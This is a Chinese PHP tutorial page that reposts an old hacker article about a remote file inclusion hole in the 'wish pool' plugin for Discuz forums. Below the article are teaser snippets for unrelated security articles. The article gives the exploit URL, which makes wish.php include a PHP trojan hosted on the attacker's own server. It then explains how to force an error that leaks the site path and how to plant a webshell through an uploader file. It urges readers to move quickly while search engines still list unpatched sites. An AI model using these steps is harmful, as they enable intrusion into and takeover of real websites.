Discuz插件漏洞攻击_PHP-php教程-PHP中文网

首页

后端开发

php教程

Discuz插件漏洞攻击_PHP

WBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWB

Jun 01, 2016 pm 12:25 PM

webshell上传插件攻击文件漏洞网站路径

PS：话说光这个漏洞《黑客X档案》都说了N遍，呵呵........
既然有人公布了,也有人连利用程序都写好了,那我也就公布吧!消息来源是鬼仔告诉我的,好像是火狐哪个大哥发现的洞,不太清楚了!
　　discuz论坛的许愿池插件在DZ根目录有个wish.php文件,文件第四行:

require $discuz_root.'./include/discuzcode.func.php';

很明显程序没有做任何过滤,一个十足的远程包含漏洞,具体利用方法就很简单了:

http://www.163.com/wish.php?discuz_root=http://www.flyt.cn/xxxx.txt?

别忘了后面有个问号!xxxx.txt就是我的PHP木马,c99shell不知道为什么,我没成功,也许与操作系统有关,我没仔细去实验了,直接用的安全天使的那PHP后门,不过可以得到一个"webshell",但是用安全天使那PHP后门无法上传我们真正的webshell上去,所以用下面这个文件就可以上传你的WEBSHELL到网站目录,

怎么得到网站实际路径呢?很简单,直接打开http://www.163.com/wish.php?discuz_root=http://www.flyt.cn/xxxx.txt ,不要最后那个问号,这时你会发现程序报错了,网站的实际路径也就出来了!修改个文件里的

C:Inetpubvhostsbaidu.combbs
为当前你要黑的这个网站实际路径;cntink.php是你上传webshell后需要保存的名字,随便你取什么!
　　把上面那文件保存为txt(其他扩展名也可以)上传到你自己的网站,比如我取名为fly.txt,现在再打开

http://www.163.com/wish.php?discuz_root=http://www.flyt.cn/fly.txt?
OK...看见上传对话框了吧,慢慢上传你的webshell吧!上传后的路径就是你在fly.txt中所设置的路径!
　　以上文章纯属乱写,谁利用这方法黑了站遇到麻烦别找我....其实这玩意应该是发布补丁后才能公开的,但又不是官方的插件,而且别人都发了,无所谓了!

PS:要行动的快点,引用群里某X的一句话: baidu google都把discuz inurl：wish.php搜完了不过漏洞没补

声明

本文内容由网友自发贡献，版权归原作者所有，本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容，请联系admin@php.cn

Vue开发注意事项：避免常见的安全漏洞和攻击Nov 22, 2023 am 09:44 AM

Vue是一种流行的JavaScript框架，广泛应用于Web开发中。随着Vue的使用不断增加，开发人员需要重视安全问题，以避免常见的安全漏洞和攻击。本文将讨论Vue开发中需要注意的安全事项，以帮助开发人员更好地保护他们的应用程序不受攻击。验证用户输入在Vue开发中，验证用户输入是至关重要的。用户输入是最常见的安全漏洞来源之一。在处理用户输入时，开发人员应该始

如何解决PHP语言开发中常见的文件上传漏洞？Jun 10, 2023 am 11:10 AM

在Web应用程序的开发中，文件上传功能已经成为了基本的需求。这个功能允许用户向服务器上传自己的文件，然后在服务器上进行存储或处理。然而，这个功能也使得开发者更需要注意一个安全漏洞：文件上传漏洞。攻击者可以通过上传恶意文件来攻击服务器，从而导致服务器遭受不同程度的破坏。PHP语言作为广泛应用于Web开发中的语言之一，文件上传漏洞也是常见的安全问题之一。本文将介

PHP中的CSRF攻击May 25, 2023 pm 08:31 PM

随着网络的不断发展，网页应用也越来越多，然而，安全问题也越来越引起人们的关注。CSRF（CrossSiteRequestForgery，即跨站请求伪造）攻击就是一种常见的网络安全问题。CSRF攻击是什么？所谓CSRF攻击，就是攻击者盗用了用户的身份，以用户的名义进行非法操作。通俗的讲，就是攻击者利用用户的登录态，在用户毫不知情的情况下，进行一些非法的操

Nginx防范脚本攻击的最佳方案Jun 10, 2023 pm 10:55 PM

Nginx防范脚本攻击的最佳方案脚本攻击是指攻击者利用脚本程序对目标网站进行攻击，以实现恶意目的的行为。脚本攻击的形式多种多样，如SQL注入、XSS攻击、CSRF攻击等等。而在Web服务器中，Nginx被广泛应用于反向代理、负载均衡、静态资源缓存等环节，在面对脚本攻击时，Nginx也可以发挥其优势，实现有效的防御。一、Nginx对脚本攻击的实现方式在Ngin

非常全面！PHP常见漏洞代码总结！Jan 20, 2023 pm 02:22 PM

本篇文章给大家带来了关于PHP漏洞的相关知识，其中主要给大家总结介绍PHP的常见漏洞代码都有哪些，非常全面详细，下面一起来看一下，希望对需要的朋友有所帮助。

Zerodium 宣布为 Microsoft Outlook 零点击 RCE 安全漏洞支付 400,000 美元Apr 29, 2023 pm 09:28 PM

<ul><li><strong>点击进入：</strong>ChatGPT工具插件导航大全</li></ul><figureclass="imageimage--expandable"><imgsrc="/uploads/2023041

ip地址被攻击怎么办Oct 24, 2023 pm 03:45 PM

ip地址被攻击的解决办法有分析攻击类型、设置防火墙、封堵IP地址、隔离通信链路、通知相关机构、加强安全防护、收集证据和加强安全意识培训等。详细介绍：1、分析攻击类型，首先需要分析攻击的类型和方式，了解攻击者的行为和目的；2、防火墙设置，通过配置防火墙规则，可以限制对受攻击IP的访问；3、IP封堵，如果攻击流量非常剧烈，严重影响服务器的正常运行，可以考虑暂时封堵受攻击的等等。

Java中的拒绝服务攻击漏洞Aug 08, 2023 pm 04:17 PM

标题：Java中的拒绝服务攻击漏洞导言：拒绝服务攻击（DenialofService，简称DoS）是指通过消耗系统资源、滥用协议漏洞或发送大量无效请求等方式，导致服务无法正常响应合法用户的请求。而Java作为一种常用的编程语言，也存在着一些与拒绝服务攻击相关的漏洞。本文将重点介绍Java中的一些常见拒绝服务攻击漏洞，并提供相应的代码示例。一、XML外部实

See all articles